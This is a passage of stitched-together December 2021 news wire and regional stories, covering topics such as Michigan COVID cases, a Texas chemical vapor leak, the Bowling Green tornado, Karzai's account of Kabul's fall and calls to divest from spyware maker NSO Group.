pandemic, but people are choosing not to use it and are continuing to spread a virus that we have the capability to manage at this point, said Dr. Natasha Bagdasarian, the state's chief medical executive. Vaccines are our best defense against the virus, along with continuing to wear masks in indoor public settings and getting tested before any unmasked gatherings." The agency confirmed two additional cases of the more contagious omicron variant, in Genesee County, bringing the total to three in Michigan. The delta variant has been surging in the state for months. ___ Follow David Eggert at https://twitter.com/DavidEggert00 / A member of the Mara Salvatrucha criminal gang was arrested south of Hebbronville for being in the country illegally, according to the U.S. Border Patrol. The case unraveled on Dec. 13, when agents detained a migrant near Texas 16 south of FM 3073. He was identified as Melvin Salgado-Delgado, a 41-year-old Mexican citizen. SANTA FE, N.M. (AP) Leading Democratic legislators introduced a revised state Senate redistricting plan Wednesday that would preserve recommendations from Native American communities, amid an extended stalemate in drawing new political boundaries. Bill sponsor Linda Lopez, a Democrat from Albuquerque, said the new redistricting proposal adopts essential recommendations from Native American leaders intended to shore up Indigenous voting blocs within five districts in the northwest of the state. Republican lawmakers immediately rebuffed the plan. The proposed political map would leave Republican state Sen. Joshua Sanchez of Bosque outside the boundaries of his current district, potentially to compete in a neighboring district against GOP Senate minority leader Greg Baca of Belen. This map is a travesty to our state, Republican Sen. Craig Brandt of Rio Rancho said. "Promises were made and promises have been broken. Procedural maneuvers scuttled the Senate floor debate without a vote, with deliberations scheduled to resume Thursday. The latest redistricting proposal for the Democrat-led state Senate follows several days of private negotiations that brought together lawmakers and leaders from many of the state's 23 federally recognized tribal communities. Lopez said her new bill avoids some pairings of incumbents in southeastern New Mexico that have rankled legislators. The revisions drew praise from Sen. Shannon Pinto, a tribal member of the Navajo Nation from Tohatchi, and Sen. Bennie Shendo, a tribal member and resident of Jemez Pueblo. An array of Native American tribal leaders and advocates watched the proceedings from the public gallery. Tribal leaders are seeking to bolster Native American influence in the political process amid dissatisfaction with public education, access to basic household infrastructure and economic opportunities. Lawmakers are in a special session to redraw congressional and legislative districts based on new census data. Nederland officials on Wednesday warned that there may still be more odor to come from a vapor leak from a local tank wash due to winds and continued response. But emergency command believes the response at Nederland Tank Wash might be rounding a corner by the end of Wednesday or early Thursday allowing the trailer to be removed from the city. The product inside the tank, Lubirzol, has been producing toxic vapors and noxious odors that residents across parts of Jefferson County have complained about since the leak started on Saturday. The city has said those odors may persist even after the tank has been removed until the facility can be completely treated, due to the nature of the vapors being released. Related: Shelter in place lifted for Port Arthur chemical leak The product is an oil blend used as a lubricant additive which is producing low levels of Hydrogen Sulfide gas, city officials have continued to warn. These vapors are being controlled by water spray at this time while emergency crews are formulating a plan to mitigate the incident. Nederland Tank Wash opened a citizen hot-line on Tuesday, available at 888-442-4206, which will apparently be repurposed at some point to handle damage claims from people impacted from the leak, according to the city of Nederland. Nederland Tank Wash and its parent company, the Younger Company, havent returned requests for comment. The company did pass a press release to the city to publish on Wednesday, which outlined what the company believes to be the timeline of the incident and how it has mitigated the release. Related: RECORDS: Nederland vapor leak occurred hours before public was notified The statement didnt contain much in the way of new information or predictions for the timeline of the response, but the company said that the leak was noticed around 5 p.m. Saturday, which matches up with what employees told the Texas Commission on Environmental Quality in an official emissions report. Nederland Tank Wash has been part of the Nederland community for over 50 years, representatives from the company wrote. We want to apologize for the inconvenience to residents in the vicinity. Fire crews that have been watching and sometimes suppressing the tanks temperature said that progress was made last night, and the timeline for when the leak might end could become more clear by Wednesday afternoon. But, there was no further information provided about the end of the leak by Wednesday evening. Related: Regulators: LNG plant leaked natural gas, didnt have proper alarms The city did reveal that the tank truck belongs to a company called Pulido Trucking, a bulk liquid transport contractor based in Houston that has terminals in Houston and Beaumont. The city has only published one report created by the private environmental firm, CTEH, with permission from the company. In follow-up reports, including on Wednesday morning, city officials said they werent being provided the monitoring data, but the company has said it is cooperating with TCEQ. In its press release, the company also didnt provide any more information about the monitoring, only adding that the firm said there werent harmful levels of chemicals found in residential areas. Top hits: Get Beaumont Enterprise stories sent directly to your inbox According to the firms findings, there were 11 detections of VOCs during its monitoring period on Sunday that were above action level, meaning federal health and regulatory authorities have found that exposure at those levels could be harmful to the health of humans and long-term exposure could cause chronic issues. VOCs, or volatile organic compounds, are a generic collection of chemicals that regulators have found to be harmful, and some of which are known to cause cancer. Side-effects from exposure often are expressed as eye, nose and throat irritation and severe headaches. People with chronic conditions, especially respiratory issues, are more susceptible to air emissions like VOCs. The firm also reported 10 detections of hydrogen sulfide during its monitoring period, which is considered highly toxic at low levels of exposure, according to the U.S. Occupational Health and Safety Administration. The concentration of hydrogen sulfide that the firm reported was below the threshold that OSHA considers dangerous within a 10-minute period of exposure, and CTEH reported that the longest detection lasted for five minutes. But 12 of the detections were reported from public roadways or residential areas around the facility, including in the subdivision on Sterling Ridge Drive across the road from the tank wash. jacob.dick@beaumontenterprise.com twitter.com/jd_journalism BOWLING GREEN, Ky. (AP) The little red wagon was strewn upside down on a heap of rubble a pile of boards and bricks, a mangled blue bicycle, a baby doll. Behind it, there was little more than a hole in the ground where a house had stood. Across the street, the tidy homes on this cul-de-sac were reduced to mounds of lumber. Clothes hung from the branches of snapped trees. The walls of one house were gone, and the only thing left standing inside was a white Christmas tree. When a tornado touched down in Bowling Green, Kentucky, in the middle of the night, its violence was centered on this friendly subdivision, where everyone waved at one another and giggling children spent afternoons tooling around on bicycles on the sidewalks. Fourteen people died in a few blocks, 11 of them on a single street, Moss Creek Avenue. Entire families were lost, among them seven children, two of them infants. Neighbors who survived are so stricken with grief they struggle to speak of it. All around them, amid the ruins, is evidence of the kids they used to watch climb off the school bus. Melinda Allen-Ray has barely slept since early Saturday, when tornado alerts started screaming and she carried her grandchildren into the bathroom as winds whipped her house apart. After just minutes of destruction, there was silence. She went outside and heard her neighbors screams. I heard them it traumatized me. I think about that each night when I go to sleep, when I do sleep, she said. In her dreams she hears the screaming and wakes up. She wept all weekend. I just think about all those babies, she said. Hers is a diverse community of families from around the world Bosnia, Myanmar, Nigeria many of whom fled from violence. For some, this fresh destruction triggers thoughts of the dark days they fled in their homelands, where they hid from bombs and lost whole families. We come from war; this reminds us, it touches the memory of that, where weve been and how we came here, said Ganimete Ademi, a 46-year-old grandmother who fled Kosovo in 1999 during the war, in which she lost her uncle and a nephew. Now she looks around her own neighborhood. I turn my memory back to 22 years ago, she said. One of the families that lost many members was from Bosnia. Two brothers lived in homes next door to each other with their families, Ademi said. They were happy and gregarious, holding summertime parties in the yard. From the two brothers' households, one woman died, along with two children and two infants, police said. Their surviving relatives said it's too difficult to speak of it. Another family here lost six members: three adults, a 16-year-old girl, a 4-year-old boy and another child. Around the corner, a 77-year-old grandmother was killed. Two others from the neighborhood died of their injuries at the hospital. Thats hard to think about you go to bed, and your entire family is gone the next day, said Ronnie Ward, with the Bowling Green Police Department. They usually tell people to get in a bathtub and cover up with a mattress, he said, but that probably would've made little difference here: Some homes were destroyed so completely the tornado ripped all the way through the floor, exposing the earth below. Now, they comb through what remains, turning over every strip of dry wall and each twisted car to make sure there arent more victims underneath. It can be horrific work, Ward said, but they try to steady themselves enough because they know it must be done. So you go about that task of trying to get this work done, and then you come across a wagon, he said, standing near the Radio Flyer bent and broken on a pile. And you think, thats associated with a child somewhere. And did that child live? Those thoughts, they overtake you, they overwhelm you. What these children left consumes them. Theres a Barbie doll missing a leg. A reindeer stuffed animal. A scooter, a toy horse, a hula hoop. Theres a pink Disney princess backpack. A car from Paw Patrol, and bedding printed with the faces of its goofy animal first responders. The people whove had to see it are reckoning with how close they and their own children came. As the tornado tore through the subdivision, it decimated some houses and damaged others, yet left some just next door unscathed. Its almost hard to look at, because how did it miss that house but it got this house? Ward said. A tree shot through the neighborhood like a missile and landed in Ademis backyard, about a dozen feet from where shed cowered with her husband. Her four children and two grandchildren live nearby. This tree could have come in my house, and wed all be gone too, she said. The tornado turned just as it got to Benedict Awms house. Inside, he, his wife, their 2-year-old son and infant held one another under a blanket to protect their eyes and bodies from the broken glass shooting through shattered windows. His wife shook and asked if they would die. He said he didnt know. Its terrible, you cant imagine, I thought we were dead, he said. Had the tornado kept on its course, they would be, he thinks. But instead it turned slightly. Thunderous winds turned to silence, and their house still stood. A miracle, thinks Awm, who moved here from war-torn Burma. Around the corner, someone spray-painted on their front door the words By Gods grace we survived, and hung an American flag from the wreckage of their rafters. For days now, volunteers have arrived from all over with trucks and tools, and there's comfort in that. Sometimes it makes me want to cry, to see how people are willing to help me, Awm said. Ben Cerimovic pulled his truck and trailer in every day over the weekend. He's an immigrant from Bosnia, and he knows the family that died here. The feelings Im having right now I really cant explain, he said. Theres a close-knit, thriving Bosnian community in Bowling Green, which has a robust refugee resettlement program to bring migrants to Western Kentucky. Most of them came here from war so their children would have a better life, he said. Now this subdivision looks like a war zone, scattered with things their children loved. Cerimovic volunteered Saturday and Sunday, but he had to take Monday off to gather his emotions. Every time I see this, and I hear about those kids, I think about mine, he said. What if they were my kids? ___ Raby reported from Charleston, West Virginia. AP reporter Mike Catalini contributed from Morrisville, Pennsylvania. PHOENIX (AP) The suspect accused of shooting and critically wounding a Phoenix police officer had served prison time for armed robbery and other felonies and continued shooting at the officer after he was already on the ground, according to police and a prosecutor. Images of Officer Tyler Moldovan being shot Tuesday morning at an apartment complex parking lot while he was on the ground were captured by police body camera video, according to the prosecutor, John Schneider. And the suspect, Essa Kolareh Eugene Williams, was heard on the video saying before he opened fire that we would be going back to jail, Schneider said at a court hearing for Williams Tuesday night. Schneider did not say whether the body cam video was from Moldovan. A police probable-cause statement said Moldovan, 22, suffered up to eight gunshot wounds, including one to his head, and was hospitalized on life support. Moldovan's condition on Wednesday was still extremely critical," the police department said in an email. He was shot early Tuesday morning as officers searched for the driver of one of several cars reportedly driving erratically nearby. Other officers arrested Williams on charges that included attempted first-degree murder, according to a police statement and court records. A judge ordered Williams held for lack of $3 million cash bond. Williams "continued to shoot the officer even after the officer was on the ground, Schneider said. The prosecutor added: Hes heard on body camera before the crimes occurred, saying something like he was going back to jail. A short time later he shot at police presumably to avoid any apprehension. Williams made the comment about going to jail while speaking on the phone to somebody as Moldovan approached, the police probable-cause statement said. Asked by Moldovan whether he had any weapons, Williams said he didn't but then produced a handgun from his waist area, raised it at the officer and fired multiple times," the statement said. After Moldovan fell to the ground and was shot again, Williams dropped his gun and tried unsuccessfully to yank the unresponsive officer's handgun from his holster and then fought with a second officer before being arrested with the help of a third officer, the statement said. No defense attorney participated in the hearing for Williams and court records did not list one who could speak on his behalf. Williams has nine prior felony convictions, including ones for armed robbery, aggravated assault and endangerment, the probable-cause statement said. Williams was sentenced to multiple prison terms in 2017 and was released in 2020, Arizona corrections department records show. DES MOINES, Iowa (AP) An Iowa Republican has overwhelmingly won a state Senate seat in a northwest Iowa special election. Spirit Lake insurance agent Dave Rowley won the special election Tuesday to fill the Senate District 1 set vacated by Zach Whiting, a Republican who is leaving Iowa for a job in Texas. Turnout was extremely low. Data from the Iowa Secretary of State shows just 3,559 of the 45,456 registered voters in the five counties of the district cast ballots, for a voter turnout of 7.8%. Rowley won with 2,690 votes, or nearly 76%. Democrat Mark Lemke had 864 votes, or 24%. Rowley will be sworn in on Jan. 10, the first day of the 2022 legislative session. Republican continue to hold a significant majority with 32 Senate seats to Democrats' 18. In the House, the GOP margin is 60 Republican seats and 40 Democratic seats. BUCHAREST, Romania (AP) Romanias minister of innovation and digitalization resigned Wednesday following an investigation by journalists who reported they found significant irregularities on his resume and evidence he plagiarized from an academic paper. Florin Roman, who had served in Romanias new coalition government for less than a month, quit his post after Romania's Libertatea newspaper published a third article calling his claimed educational credentials into question. He said he didnt want the suspicion surrounding him to affect Prime Minister Nicolae Ciuca. I resigned today as minister, Roman wrote online after a government meeting. When white turns black, when everything is misinterpreted, when you make material mistakes, but when you reach the lynching from the first day of office it is too much. The journalists at Libertatea accused Roman of having plagiarized part of his masters thesis and said they could not locate a 2006 academic paper that the politician listed on his resume. The newspaper also reported that Roman made misleading or false resume statements about which university he attended. Roman strongly denied the newspaper's findings, calling them part of a campaign to denigrate me. Several high-profile Romanian politicians, including former prime ministers, have been accused of plagiarism in recent years Dacian Ciolos, who served as prime minister in a caretaker Cabinet between 2015 and 2017, described Roman's resignation as a necessary act. Florin Roman is not a victim. (He) is an exponent of the Romanian political class who destroyed what Romania had best, Ciolos said, adding that fabricated qualifications prevent competent and honest ones from politics. Emilia Sercan, a journalist who has investigated dozens of high-profile plagiarism cases in Romania, described falsified academic works as the "Achilles' heel" of politicians. Bad news for politicians: if your fortunes are sheltered, your academic works are on the shelf, at the library," Sercan wrote online Wednesday. Romania, an EU country of about 19 million, ranked 69 out of 180 countries in Transparency Internationals 2020 Corruption Perception Index. SALEM, Ore. (AP) U.S. Sen. Ron Wyden said Wednesday that the Oregon state employees pension fund should drop its investment in NSO Group, whose smartphone-hacking tool has targeted human rights monitors, journalists, politicians and others. The Oregon Democrat's comments to The Associated Press came as he and House Intelligence Committee Chairman Adam Schiff, D-California, called on the Biden Administration to sanction NSO Group and three other mercenary hacking corporations under the Global Magnitsky Act, for enabling human rights violations by authoritarian regimes. The state of Oregon became a stakeholder in a company that has been reviled by human rights groups, journalists and the U.S. government which last month placed NSO Group on its trade blacklist when in 2017 it invested $233 million in a private equity firm. That firm then acquired a majority share of NSO Group. Oregons pension fund should not support companies like NSO, which the Biden Administration recently confirmed has enabled authoritarian regimes to target journalists and human rights advocates, said Wyden, the chairman of the Senate Finance Committee. He added when the Trump administration issued human rights sanctions against several Chinese technology companies, it allowed U.S. investors to drop the investments. The Oregon State Treasury said it had no immediate comment on Wyden's call for divestment. John Russell, the chairman of the Oregon Investment Council, which oversees the investment and allocation of all state of Oregon trust funds, said last week that divesting from fossil fuels and other questionable sectors goes beyond the councils mandate and would turn the council into an activist body. However, he added if the Legislature wants to change the statutes that the council operates under or advise the council, its members would be open to that. NSO Group's Pegasus spyware enables a client to infiltrate a targets smartphone and see emails, texts, photos and to activate its microphone and camera. Among those targeted have been Amnesty International human rights monitors, journalists, politicians and the fiancee of slain Washington Post contributing columnist Jamal Khashoggi. These surveillance companies do depend on the U.S. financial system and U.S.-based investors, particularly when they eventually wish to raise billions by listing on the stock market. To meaningfully punish them and send a clear signal to the surveillance technology industry, the U.S. government should deploy financial sanctions Wyden and Schiff said in their letter to U.S. Treasury Secretary Janet Yellen and Secretary of State Antony Blinken. Sixteen other members of Congress also signed the letter. In response to the call for sanctions, NSO Group, an Israeli company, insisted it has extensive human rights and compliance programs. We have been closely regulated by the Israeli government, which means that there is a long list of prohibited countries and that we only sell to governments authorized by the State of Israel, for the sole purpose of preventing terror and crime, NSO Group said in a statement. The Magnitsky Act gives the president the authority to sanction individuals responsible for gross violations of internationally recognized human rights. Sunday, Dec. 19, marks 20 years since Frodo made his debut on the big screen in "The Fellowship of the Ring" released in 2001. Why does this matter? The Middle Earth franchise is one of the highest-grossing movie franchises of all time, valued at $5.86 billion, CNBC reports, including a trilogy adapted from "The Lord of the Rings" novels and a trilogy adapted from "The Hobbit." J. R. R. Tolkien's fictional storyline has engrossed viewers for two decades and appears to still be valuable with Amazon Studios producing a television series to release in 2022. And, there are plenty of reasons for this high valuation, according to Infobloom: There were 19,000 costumes created for "The Fellowship of the Ring." Sean Astin put on a whopping 30 pounds for his role as Sam. Orlando Bloom performed many of his stunts. He broke a rib at one point during filming. "The Fellowship of the Ring" was nominated for 152 awards and won 98 of them, including Oscars, Grammy Awards and Golden Globes. In celebration of the first film's anniversary, Infobloom looked at Google Trends search data for 15 "Lord of the Rings" characters to see which was each state's favorite. You can see the results below. Graphic provided/InfoBloom Frodo took the top spot in Michigan, tying with Gollum for the most popular character in the nation, each winning more than 12 states. Graphic provided/InfoBloom Note: Infobloom analyzed data from November 2020 to November 2021. Sunday, Dec. 19, marks 20 years since Frodo made his debut on the big screen in "The Fellowship of the Ring" released in 2001. Why does this matter? The Middle Earth franchise is one of the highest-grossing movie franchises of all time, valued at $5.86 billion, CNBC reports, including a trilogy adapted from "The Lord of the Rings" novels and a trilogy adapted from "The Hobbit." J. R. R. Tolkien's fictional storyline has engrossed viewers for two decades and appears to still be valuable with Amazon Studios producing a television series to release in 2022. And, there are plenty of reasons for this high valuation, according to Infobloom: There were 19,000 costumes created for "The Fellowship of the Ring." Sean Astin put on a whopping 30 pounds for his role as Sam. Orlando Bloom performed many of his stunts. He broke a rib at one point during filming. "The Fellowship of the Ring" was nominated for 152 awards and won 98 of them, including Oscars, Grammy Awards and Golden Globes. In celebration of the first film's anniversary, Infobloom looked at Google Trends search data for 15 "Lord of the Rings" characters to see which was each state's favorite. You can see the results below. Graphic provided/InfoBloom Frodo took the top spot in Illinois, tying with Gollum for the most popular character in the nation, each winning more than 12 states. Graphic provided/InfoBloom Note: Infobloom analyzed data from November 2020 to November 2021. KABUL, Afghanistan (AP) The Taliban didn't take the Afghan capital they were invited, says the man who issued the invitation. In an Associated Press interview, former Afghan President Hamid Karzai offered some of the first insights into the secret and sudden departure of Afghan President Ashraf Ghani and how he came to invite the Taliban into the city to protect the population so that the country, the city doesnt fall into chaos and the unwanted elements who would probably loot the country, loot shops. When Ghani left, his security officials also left. Defense minister Bismillah Khan even asked Karzai if he wanted to leave Kabul when Karzai contacted him to know what remnants of the government still remained. It turned out there were none. Not even the Kabul police chief had remained. Karzai, who was the country's president for 13 years after the Taliban were first ousted in the wake of the 9/11 attacks, refused to leave. In a wide-ranging interview at his tree-lined compound in the center of the city where he lives with his wife and young children, Karzai was adamant that Ghanis flight scuttled a last-minute plan focused on the Talibans entry. He and Abdullah Abdullah, the governments chief negotiator, had been working with the Taliban leadership in Doha on a negotiated agreement to allow the militia to enter the capital under controlled conditions. The countdown to a possible deal began Aug. 14, the day before the Taliban came to power. Karzai and Abdullah met Ghani, and they agreed that they would leave for Doha the next day with a list of 15 others to negotiate a power-sharing agreement. The Taliban were already on the outskirts of Kabul, but Karzai said the leadership in Qatar promised the insurgent force would remain outside the city until the deal was struck. Early on the morning of Aug. 15, Karzai said, he waited to draw up the list. The capital was fidgety, on edge. Rumors were swirling about a Taliban takeover. Karzai called Doha. He was told the Taliban would not enter the city. At noon, the Taliban called to say that "the government should stay in its positions and should not move that they have no intention to (go) into the city," Karzai said. "I and others spoke to various officials and assurances were given to us that, yes, that was the case, that the Americans and the government forces were holding firm to the places (and) that Kabul would would not fall. By about 2:45 p.m., though, it became apparent Ghani had fled the city. Karzai called the defense minister, called the interior minister, searched for the Kabul police chief. Everyone was gone. There was no official present at all in the capital, no police chief, no corps commander, no other units. They had all left. Ghani's own protection unit's deputy chief called Karzai to come to the palace and take over the presidency. He declined, saying legally he had no right to the job. Instead the former president decided to make a public, televised message, with his children at his side so that the Afghan people know that we are all here." Karzai was adamant that there would have been an agreement for a peaceful transition had Ghani remained in Kabul. Absolutely. Absolutely. That is what we were preparing for, what we were hoping (along) with the chairman of the peace council to go to Doha that evening, or the next morning, and to finalize the agreement," he said. "And I believe the Taliban leaders were also waiting for us in Doha for the same ... objective, for the same purpose. Today, Karzai meets regularly with the Taliban leadership and says the world must engage with them. Equally important, he said, is that Afghans have to come together. War has dominated Afghanistan for more than 40 years, and in the last 20 years Afghans have suffered on all sides," he said. Afghans have lost lives on all sides. . . . The Afghan army has suffered. Afghan police have suffered, the Taliban soldiers have suffered. He added: "An end to that can only come when Afghans get together, find their own way out." The former president has a plan. In his talks with the Taliban, he is advocating the temporary resurrection of the constitution that governed when Afghanistan was a monarchy. The idea was also floated during earlier Doha talks. At the same time, a traditional Loya Jirga a grand council of all Afghans, including women would be convened. It would decide the country's future, including a representative government, a constitution, a national flag. There's no indication the Taliban will accept his formula, though he says they have not rejected it in discussions. A jirga is a centuries-old Afghan tradition for decision-making and is particularly popular among ethnic Pashtuns, which make up the backbone of the Taliban. Karzai said a future Afghanistan has to have universal education rights for boys and girls, and women must find their place in the Afghan polity, in the administration, in economic activity and social activity, the political activity in all ways of life. ... Thats an issue on which there cannot be any compromise." But until it happens, Karzai says, the world has to engage with the Taliban. Afghanistan needs to operate. Government servants have to be paid. Health care facilities need to function. "Right now, they need to cooperate with the government in any form they can," said Karzai. who also bemoaned the unchallenged and sometimes wrong international perceptions of the Taliban. He cited claims that women and girls are not allowed outside their homes or require a male companion. That's not true. There are girls on the streets women by themselves. The situation on the ground in Kabul bears this out. Asked to describe the Taliban, Karzai said: I would describe them as Afghans, but Afghans who have gone through a very difficult period in their lives as all other Afghans have done for the past 40 years." We have been through an extremely difficult period of our history in which we, the Afghans, have made mistakes on all sides, in which the international community and those who interacted with us have made tremendous mistakes, Karzai said. "Its time for all of us to realize that, and to look back at the mistakes that we have all made and to make it better. ___ Kathy Gannon, Associated Press news director for Afghanistan and Pakistan, has been covering the region for more than 30 years. Grammy Award-winning singer and songwriter John Legend sat down with Soledad OBrien to discuss his efforts to raise awareness of criminal justice reform and to restore voting rights to those with felony convictions. This conversation is part of The Matter of Fact Listening Tour: Promises of Change, which will explore solutions to the most pressing problems of the day, in education, health, housing, the environment, food insecurity, voting rights, public safety and community wealth. Stream the Listening Tour live Thursday starting at 7 p.m. Eastern on MatterofFact.TV and all Hearst Television websites. In the interview, Legend talked about his personal experience with his mothers drug addiction and how it inspired him to raise awareness. What happened to my mother specifically impacted us because she spiraled after her mother died and had a drug addiction. What I learned from that and what I learned from other interactions that my family members have had with the criminal punishment system is that so many times, we take people who are hurting and we treat them as criminals instead of as people who actually just need help, Legend said. Legend said one of his big focuses is to bring awareness to ending the cash bail system. There are so many people in our local jail systems who are merely there because they havent been convicted of a crime, but they dont have the $500, $1,000, $1,500 to get out of jail pre-trial, and they are stuck there, Legend said. Its used as a tool to punish poverty, used as a tool to punish powerlessness in the system. Its not fair and it should be eradicated. Legend also discussed his efforts to help restore voting rights to people with felony convictions. He said that after 63% of voters in Florida voted to restore voting rights to people with felony convictions and have done their time; however, it was later determined that people who owe legal fees or fines are still considered not having fulfilled their sentence. Whenever we make progress, there are forces of backlash that are out there. In the reconstruction era, we saw Ku Klux Klan emerge, we saw all these Jim Crow laws, that are true backlash against the progress of the Civil War and the post-civil war amendments, and weve seen it with the gains that were made in the civil rights era. And weve seen it after the election of Barack Obama. Now weve seen it with the election of Joe Biden, which were, in many ways, powered by the Black vote. Weve seen backlash to that as well, Legend said. That just means that we cant take it for granted. The progress is just going to keep going. We have to continue to defend it and fight for it. Because the forces against progress are still there, and they are still going to fight, too. Legend launched a program called Unlocked Futures that supports formerly incarcerated people with re-entry into society. Watch our full interview with Legend in the video player above. CAIRO (AP) A human rights watchdog urged the United Nations on Wednesday to deploy monitors to Sudans western region of Darfur, where a surge in tribal clashes has killed more than 180 people since October. Human Rights Watch said in a statement that the monitors should include experts on gender-based crimes, a year after the U.N. Security Council ended the mandate of a peacekeeping mission known as UNAMID in Darfur. The violence between Arabs and non-Arabs in the war-wrecked region came as Sudan plunged into upheaval after an October military coup that removed Prime Minister Abdalla Hamdoks government. Though Hamdok was reinstated last month in a deal with the military, Sudan's pro-democracy movement has rejected the settlement and insists on a transition led by a purely civilian government. Sudan is on a fragile path to democracy after a popular uprising forced the removal of autocratic President Omar al-Bashir in April 2019. Mohamed Osman, HRWs Sudan researcher, said tribal clashes over the past year in Darfur have left a trail of devastation in the region. At least 183 people were killed, and dozens wounded since October, with thousands displaced and some crossing into neighboring Chad. Osman called the latest violence a stark wake-up call for the international community to act. The UNs priority should now be to ramp up human rights monitoring and ensure rigorous scrutiny of Sudans efforts to protect millions of Darfuris, he said. The Security Council terminated the UNAMID on Dec. 31, 2020 and replaced it with a much smaller and solely political mission, whose mandate will be ended in June next year. HRW said the departure of UNAMID has caused a gap in monitoring the abuses fueled by impunity for atrocities committed in Darfur. The Darfur conflict began in 2003 when ethnic Africans rebelled, accusing the Arab-dominated government in Khartoum of discrimination. Al-Bashirs government has been accused of retaliating by arming local nomadic Arab tribes and unleashing brutal militias a charge it denies. Al-Bashir, jailed in Khartoum since his ouster, faces international charges of genocide and crimes against humanity related to the Darfur conflict. Meanwhile, An International Criminal Court delegation was in Khartoum Tuesday for talks on the trial of al-Bashir and those wanted on war crimes charges related to the Darfur conflict. Malek Agar, a rebel leader and member of the ruling sovereign council, said the transitional government has been committed to cooperation with the court to achieve justice for Darfur victims. Sudan has previously said that war crime suspects including al-Bashir would be tried before the ICC, but the trial venue is a matter for negotiations with the Hague-based court. UPPER MARLBORO, Md. (AP) Two zebras running loose since escaping a Maryland farm about four months ago have been caught. Prince Georges County Animal Services and the U.S. Department of Agriculture werent involved in the capture but were told Monday that the animals returned to their herd last week, The Washington Post reported. In late August, the two zebras fled from an Upper Marlboro farm where officials have said about 40 zebras live. Residents in the region shared sightings of the free-roaming pair on social media, and even Washingtons Del. Eleanor Holmes Norton chimed in on the escape. The duo was originally a trio, but one got caught in an illegal snare trap on a neighboring property and died soon after the breakout. The county filed animal cruelty charges against owner Jerry Holly in October after another zebra was found dead inside the farms enclosure. Holly is accused of inflicting unnecessary suffering or pain on a zebra and failing to provide nutritious food in sufficient quantity or give the herd proper shelter. Lawyer Steven B. Vinick emailed The Post on Tuesday saying his client has been and is a respected businessman in Prince Georges County, and he looks forward to being able to show in court that there is no merit whatsoever to any of the charges pending against him. USDA inspectors said in a recent report that the zebras escaped during the unloading process. The herd was moved to Maryland from Florida over the summer, according to County Animal Services Chief Rodney Taylor. Prince Georges officials worked with the animals caretakers for weeks, trying to lure the fugitives into a corral using food and other zebras. A Twitter parody account for the zebras said Tuesday, Well, Well, Well...they got us. We had an amazing time and its all about being outside. Courtesy of Village MD and Walgreens Multiple Walgreens locations in San Antonio will soon allow patients to visit their doctors and immediately pick up prescriptions in stores. The Illinois-based pharmacy is opening nine full-service, primary care clinics inside of select Walgreens locations around San Antonio as part of its partnership with healthcare provider Village MD, according to a news release. The Village MD website already lists one primary care clinic location in the Walgreens at 1581 Austin Highway, Suite 102. City leaders denied an attempt to vacate a city street downtown for a business located near the intersection of Carrizo and Missouri streets. The owner of a property -- that was once Bettys Place -- attempted to have the city vacate the east half of Carrizo Street between Missouri Avenue and Wall Street. He wants to expand footprint of the location, including creating a patio area behind the building, which is across A Street from Steak 42. City staff recommended that vacating the city street could take place if other property owners and businesses around that area agreed to the city action. However, there wasnt a neighboring entity that welcomed the action. City staff also said if part of the road was vacated, that would require the entire road to be vacated. One of the other businesses was The Bar, a Midland landmark located northeast of the intersection at Carrizo and Missouri. A representative of The Bar said three entrances to its parking area come off Carrizo. To the east of The Bar and other property is BTA Oil Producers, 104 S. Pecos. BTA representatives feared that the closing of Carrizo would drive more traffic through its parking lots and down an adjacent alley. BTA representatives told the council that their business has been impacted enough with Carrizo open. They alerted city leaders that those already driving through their parking have caused considerable damage to property. They also have had issues with those parking illegally on their lots. BTA opposed the vacation of Carrizo. The councilman in support of the closure of Carrizo was Michael Trost. Other council members cited issues with forcing vacation of a city street (and therefore cost and the ensuing inconvenience) on property owners. The measure failed 6-1. A former prisoner named Mike was found himself negatively influenced during his time behind bars. He was admittedly lost until one day he was enticed to join a program presented by a Texas Department of Criminal Justice volunteer with the promise of cookies and juice. Mike went and heard the message preached by the volunteer and was struck by how strongly he felt it was directed at him. So he went back again and again. It was a pivotal moment in the life of the young man who had been incarcerated for 22 years since the age of 17. Mike gave his testimony Monday night to a room full of TDCJ personnel and volunteers and thanked them for what they do. You might think youre not having an effect, he said. You are. The group of about 50 people gathered at First Methodist Church Monday for a special volunteer appreciation dinner. Church volunteers made a meal of spaghetti, salad, garlic bread and desserts for a crowd anticipated to include well over 100. The work you do does not go in vein, said David Voyles, chaplain of the Wheeler/Formby Units. The night included a gripping presentation by Ambassador Sichan Siv, a board member of the Texas Board of Criminal Justice. He spoke about his life beginning in Cambodia and the journey that led him to the United States and eventually to the White House where he served as an ambassador to the United Nations under President George W. Bush, as deputy assistant to President George H. W. Bush prior to that, and as deputy assistant secretary of the State Department. His presentation yielded a standing ovation from the crowd, which included Plainview Mayor Charles Starnes, who helped welcome him. Siv concluded his speech noting the importance of volunteers to TDCJ. After the event, Voyles said there are plenty of opportunities for those interested in providing different ministries to the local incarcerated population. In fact, he added, TDCJ always needs more volunteers. The more volunteers available, the more services they can provide, he said, noting that volunteer programs include everything from development of various personal and professional skills like parenting, job readiness, counseling or spiritual ministries. Ted Wilson, a longtime local TDCJ volunteer who attended and helped with the event Monday night, said thats how he became involved. Prison ministry was a path that led him to continue his spiritual calling through a different route. Hes helped teach a few classes and is a certified chaplain volunteer assistant. What keeps him going, he said, is the feeling of helping someone and seeing the cases like Mikes where the persons life is changed for the better. Those interested in becoming a TDCJ volunteer can find the application and additional information at tdcj.texas.gov. The process involves a questionnaire and extensive training. -- EDITORS NOTE: Look for a story about Ambassador Siv later this week. After his inglorious ouster in October as Miami Chief of Police, Art Acevedo appears to have found a new home as an expert resource for CNN. The former head of police in Houston has had a bumpy 2021, leaving the Bayou City in March to take a role as top law enforcement officer in Miamia stint that lasted only a short six months before city officials bounced him from the newly-won role over internal accusations and controversial comments regarding the makeup of the Miami police force. Acevedo briefly entertained running for Los Angeles County sheriff, but according to the LA Times, opted out of declaring his candidacy in December, stating his wish to avoid "diluting" the field of candidates. Judging by his presence on a Tuesday CNN broadcast, the journeyman police chief has instead taken an analyst position with CNN, appearing on a segment of "The Situation Room With Wolf Blitzer" to discuss gun violence in America. "Joining us now, our new CNN Law Enforcement analyst Art Acevedo, the former police chief of Austin, Houston and Miami," Blitzer said, introducing the former police chief. "Chief Acevedo welcome to CNN." The news of Acevedo's new position hasn't enthused everyone. Some on Twitter pointed out Acevedo's overseeing of officers involved in the fatal Harding Street raid, a fraudulent 2019 policing action that ended in the deaths of two innocent Houstonians. Also mentioned were the chief's past appearances on "InfoWars," a website and broadcast platform hosted by conspiracy theorist and Sandy Hook truther Alex Jones. Acevedo in an October NBC segment called his recent firing as Miami police chief "a pretty embarrassing episode in a 35-year career." Speaking to the LA Times in December, he expressed his reticence to take a 